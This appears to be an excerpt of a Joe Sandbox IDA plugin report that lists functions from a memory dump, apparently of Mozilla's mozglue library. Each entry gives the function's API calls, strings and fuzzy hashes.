Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 303e5d64091728ecd6e557b62c226b567898ceb68535f65d57e1261807553de2
Instruction ID: 4fdd023a7c535947fa8f0704f97fb4e28435d990396d102b77be27f56afaab36
Opcode Fuzzy Hash: 303e5d64091728ecd6e557b62c226b567898ceb68535f65d57e1261807553de2
Instruction Fuzzy Hash: A5F05E75304204EBEA007B659C4CA6A7BBDFBC62ADF860116EA0993B41DB764C058769

Function 6C5105F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C50CFAE,?,?,?,6C4D31A7), ref: 6C5105FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C50CFAE,?,?,?,6C4D31A7), ref: 6C510616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C4D31A7), ref: 6C51061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C4D31A7), ref: 6C510627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C51061B, 6C510625
<jemalloc>, xrefs: 6C5105FA, 6C51060F

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 589d2f077d9a39e37092fdcbd814ac937316b317f92efb32cbd7fb3f563bfba8
Instruction ID: e13ed05e0959d9c1f2a691f66eaca58f59ca917d16927e3779ebc1580edd3c4c
Opcode Fuzzy Hash: 589d2f077d9a39e37092fdcbd814ac937316b317f92efb32cbd7fb3f563bfba8
Instruction Fuzzy Hash: 59E08CF2A0101037F514225AAC8ADBB761DDBC6238F080039FD0D82301EA4BBD1E51F6

Function 6C4E05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ea1b815878b1d6f4f0fa2d1c0f3f8dc3dbe4a0c30c1a8a826fddfa890be2456
Instruction ID: 3029ad988cb6f74fa14e2f475022cdb69106582de1aada9ba2cbaa68e931ccb0
Opcode Fuzzy Hash: 8ea1b815878b1d6f4f0fa2d1c0f3f8dc3dbe4a0c30c1a8a826fddfa890be2456
Instruction Fuzzy Hash: 7FA148B0A00605CFDB14CF29C984E9AFBF1BF89305F45866ED45A97B00EB30A945CF90

Function 6C5314A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5314C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5314E2
GetCurrentThreadId.KERNEL32 ref: 6C531546
InitializeConditionVariable.KERNEL32(?), ref: 6C5315BA
free.MOZGLUE(?), ref: 6C5316B4

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 39a4ed6f8a56fb797dfa1ee5a370e1161951e02007e2a51375fe7f15670cd885
Instruction ID: 46c7631fee0261bc19cc084fc37e4cc20f6840f106e69e9aab641973170204b9
Opcode Fuzzy Hash: 39a4ed6f8a56fb797dfa1ee5a370e1161951e02007e2a51375fe7f15670cd885
Instruction Fuzzy Hash: 3C61DD72A00710DBDB119F24CC80BDBB7B0BF89308F45951CE98A57611EB34E949CB91

Function 6C529F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C529FDB
free.MOZGLUE(?,?), ref: 6C529FF0
free.MOZGLUE(?,?), ref: 6C52A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C52A0BE
free.MOZGLUE(?,?), ref: 6C52A0D5
free.MOZGLUE(?,?), ref: 6C52A0EB

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 7c16a851388f781cad7bfd058123edf36e8b29a82aa2fcdf091acd72b8ebd85e
Instruction ID: 293edd352da6dcb6ba2a3d1f966d905af0f125f71f5164cac49946a5c317af7b
Opcode Fuzzy Hash: 7c16a851388f781cad7bfd058123edf36e8b29a82aa2fcdf091acd72b8ebd85e
Instruction Fuzzy Hash: 4E618E755086419FC711CF18C88099AB7F5FFC8328F54865DE8A99B742EB31E986CBC1

Function 6C52DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C52D38A,?), ref: 6C52DC6F
free.MOZGLUE(?,?,?,?,?,6C52D38A,?), ref: 6C52DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C52D38A,?), ref: 6C52DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C52D38A,?), ref: 6C52DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C52D38A,?), ref: 6C52DD4A

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 44cb2138e2cfdbd3cffe41204c1b4dfc5177c1e6501f2e440e9d67e61591d1ca
Instruction ID: 526b124f5fac37a7ed760cea7cf9b11127322570b4d9416af6fec7c641cd10b3
Opcode Fuzzy Hash: 44cb2138e2cfdbd3cffe41204c1b4dfc5177c1e6501f2e440e9d67e61591d1ca
Instruction Fuzzy Hash: 154169B5A00605CFCB04CFA9C884A9ABBF6FF88314B554569D946ABB50D735FC00CB90

Function 6C52C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C52C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C52C842

Part of subcall function 6C52CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C54B5EB,00000000), ref: 6C52CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C52C863
std::_Facet_Register.LIBCPMT ref: 6C52C875

Part of subcall function 6C50B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C54B636,?), ref: 6C50B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C52C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52C8BC

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 62afe71cc9e1b37af22af04295ccaeab7e4c0e08904a37e60dea09e7fe26eef7
Instruction ID: 4f21f01d946af3d6a6d9ec76b2d93ff4968205e560a4f3b5376441739d1ddb33
Opcode Fuzzy Hash: 62afe71cc9e1b37af22af04295ccaeab7e4c0e08904a37e60dea09e7fe26eef7
Instruction Fuzzy Hash: 16116375B002059BDB00EFA4CCC99AE7BB5EF89354B510529E50697381DB34AD05CB95

Function 6C50F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C50F480

Part of subcall function 6C4DF100: LoadLibraryW.KERNEL32(shell32,?,6C54D020), ref: 6C4DF122
Part of subcall function 6C4DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C4DF132

CloseHandle.KERNEL32(00000000), ref: 6C50F555

Part of subcall function 6C4E14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C4E1248,6C4E1248,?), ref: 6C4E14C9
Part of subcall function 6C4E14B0: memcpy.VCRUNTIME140(?,6C4E1248,00000000,?,6C4E1248,?), ref: 6C4E14EF

Part of subcall function 6C4DEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C4DEEE3

CreateFileW.KERNEL32 ref: 6C50F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C50F523

Strings

\oleacc.dll, xrefs: 6C50F4CB

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 5fd8084d43a5d5002a2983aae65c4dd99338ef2ff50ee85dba1f1301f7062b84
Instruction ID: f798696a4fc2edf70b3a1a4c16497283fa4c4f933fbf445278901920f5fddf6c
Opcode Fuzzy Hash: 5fd8084d43a5d5002a2983aae65c4dd99338ef2ff50ee85dba1f1301f7062b84
Instruction Fuzzy Hash: 07418D307087109FE721DF68DC84A9AB7F4AF84318F504B1CF995C7651EB70E9498B96

Function 6C51E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51E04F

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C51E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C51E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C51E057

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: d5061c0a5966246691690fe28512916b084b622bf8bb8238117af29b7deab1eb
Instruction ID: bf174e532cc778a8d5e57cda8e8fd2770b051bae2e51eae2d10092d3ab60d5c3
Opcode Fuzzy Hash: d5061c0a5966246691690fe28512916b084b622bf8bb8238117af29b7deab1eb
Instruction Fuzzy Hash: F321B078B051088FEF04EF65DC5CAAEB7B5AF89308F550418E80A97F40DB71AD09C7A5

Function 6C5374A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C537526
__Init_thread_footer.LIBCMT ref: 6C537566
__Init_thread_footer.LIBCMT ref: 6C537597

Strings

kernel32.dll, xrefs: 6C537557
UnmapViewOfFile2, xrefs: 6C537552

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: e71ee9dc13ef5fa8e3849e144be5c3274d87f0d3100dcbbb21c0967ab8b1d5cb
Instruction ID: 745b18a93b2359c97e875a0c83a31b0e8d79962d6e49d3f1a8149276466aeec5
Opcode Fuzzy Hash: e71ee9dc13ef5fa8e3849e144be5c3274d87f0d3100dcbbb21c0967ab8b1d5cb
Instruction Fuzzy Hash: 99212831F00511EFDB18CFE98D14E5E3775EB863A4B86162AD40987F80E730B8118569

Function 6C53A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55F770,-00000001,?,6C54E330,?,6C4FBDF7), ref: 6C53A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C4FBDF7), ref: 6C53A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C4FBDF7), ref: 6C53A7E4
LeaveCriticalSection.KERNEL32(6C55F770), ref: 6C53A80A

Strings

accelerator.dll, xrefs: 6C53A7BF

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 73a03d1cada873826aeeac8464a7060d1fb057c042669e84e2df763f3f096922
Instruction ID: 956dd84789e32b0ffdd92004aa83c49fec7b2ee7a6c631b5437086f001d161c4
Opcode Fuzzy Hash: 73a03d1cada873826aeeac8464a7060d1fb057c042669e84e2df763f3f096922
Instruction Fuzzy Hash: FE018FB07102149F9F08DF99DCC8D157BB8FB89315746816AE8098B712EB70A804CBA0

Function 6C5375B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C53748B,?), ref: 6C5375B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C5375D7
FreeLibrary.KERNEL32(?,6C53748B,?), ref: 6C5375EC

Strings

ntdll.dll, xrefs: 6C5375B3
RtlNtStatusToDosError, xrefs: 6C5375D1

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 0591734234b9636b575dc3b460abbd0a39adf2978f23c62c763fcd7cb99cd6f0
Instruction ID: 5c0adc82cc7fb5d61c908dcc04c6610cd1c320c0ffd6f0d6c1283ca33d4bdd10
Opcode Fuzzy Hash: 0591734234b9636b575dc3b460abbd0a39adf2978f23c62c763fcd7cb99cd6f0
Instruction Fuzzy Hash: D1E0B671710301EFEF007FA2DD4C7027BF8EB46258FA65226A905D1681EBB09051CF29

Function 6C537600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C537592), ref: 6C537608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C537627
FreeLibrary.KERNEL32(?,6C537592), ref: 6C53763C

Strings

ntdll.dll, xrefs: 6C537603
NtUnmapViewOfSection, xrefs: 6C537621

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 689d0396a03adb365fc68e4c82f4d5da44cb7cd0db16549499e602e002051000
Instruction ID: 65755b56d8076022622ef2144bc2363b8c78fbb82b7a2d1137df784a73eb584c
Opcode Fuzzy Hash: 689d0396a03adb365fc68e4c82f4d5da44cb7cd0db16549499e602e002051000
Instruction Fuzzy Hash: 87E092B0720301AFDF007FA69D087057EB8E71A299F965616E90AD2640E7B090248B1C

Function 6C53BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C53BE49), ref: 6C53BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C53BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C53BE49), ref: 6C53BF38
RtlReAllocateHeap.NTDLL ref: 6C53BF83
RtlFreeHeap.NTDLL(6C53BE49,00000000), ref: 6C53BFA6

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 49f2e804c9a3c3510427b04419429b6f48285eec17057b2fc14f1da88446e777
Instruction ID: 16717d4d26202d81825212bbf97547d6f3c62856ff5a428a738352c0b5662417
Opcode Fuzzy Hash: 49f2e804c9a3c3510427b04419429b6f48285eec17057b2fc14f1da88446e777
Instruction Fuzzy Hash: BC518271A006258FE714DF69CD80BAAB3B2FFC4314F299639D559A7B54E730F9068B80

Function 6C528E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?,6C54D734), ref: 6C528E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?,6C54D734), ref: 6C528EBF
free.MOZGLUE(?,?,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?), ref: 6C528F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?,6C54D734), ref: 6C528F46
free.MOZGLUE(?,?,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?), ref: 6C528F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?), ref: 6C528F8F

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ae4689400f638478001d750831dcfa78db33ddcab68d55cf51ed245413c9b6e1
Instruction ID: 689a4831a66a16739716efcfa1301aee204cfb39536d50dacfa37d597805b0be
Opcode Fuzzy Hash: ae4689400f638478001d750831dcfa78db33ddcab68d55cf51ed245413c9b6e1
Instruction Fuzzy Hash: 0E5182B2A012168FEB24CF94DC8076E77F2BF49318F19056AD516AB780E735F905CB92

Function 6C5227E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52289A
free.MOZGLUE(?,?,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C5228F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C522910
free.MOZGLUE(00000001,?,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52294E

Memory Dump Source

Source File: 00000000.00000002.2706396024.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2706334437.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706690430.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707106368.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_random.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 854ae2860b35099ca0660c5113bdb02f875f9db9dee288bffbc5e8cc7a818ed1
Instruction ID: ff546cb7c17d99d39c1e779d3c30acaf1836bba3a5a8869d0ec7b1e7d1ee94d5
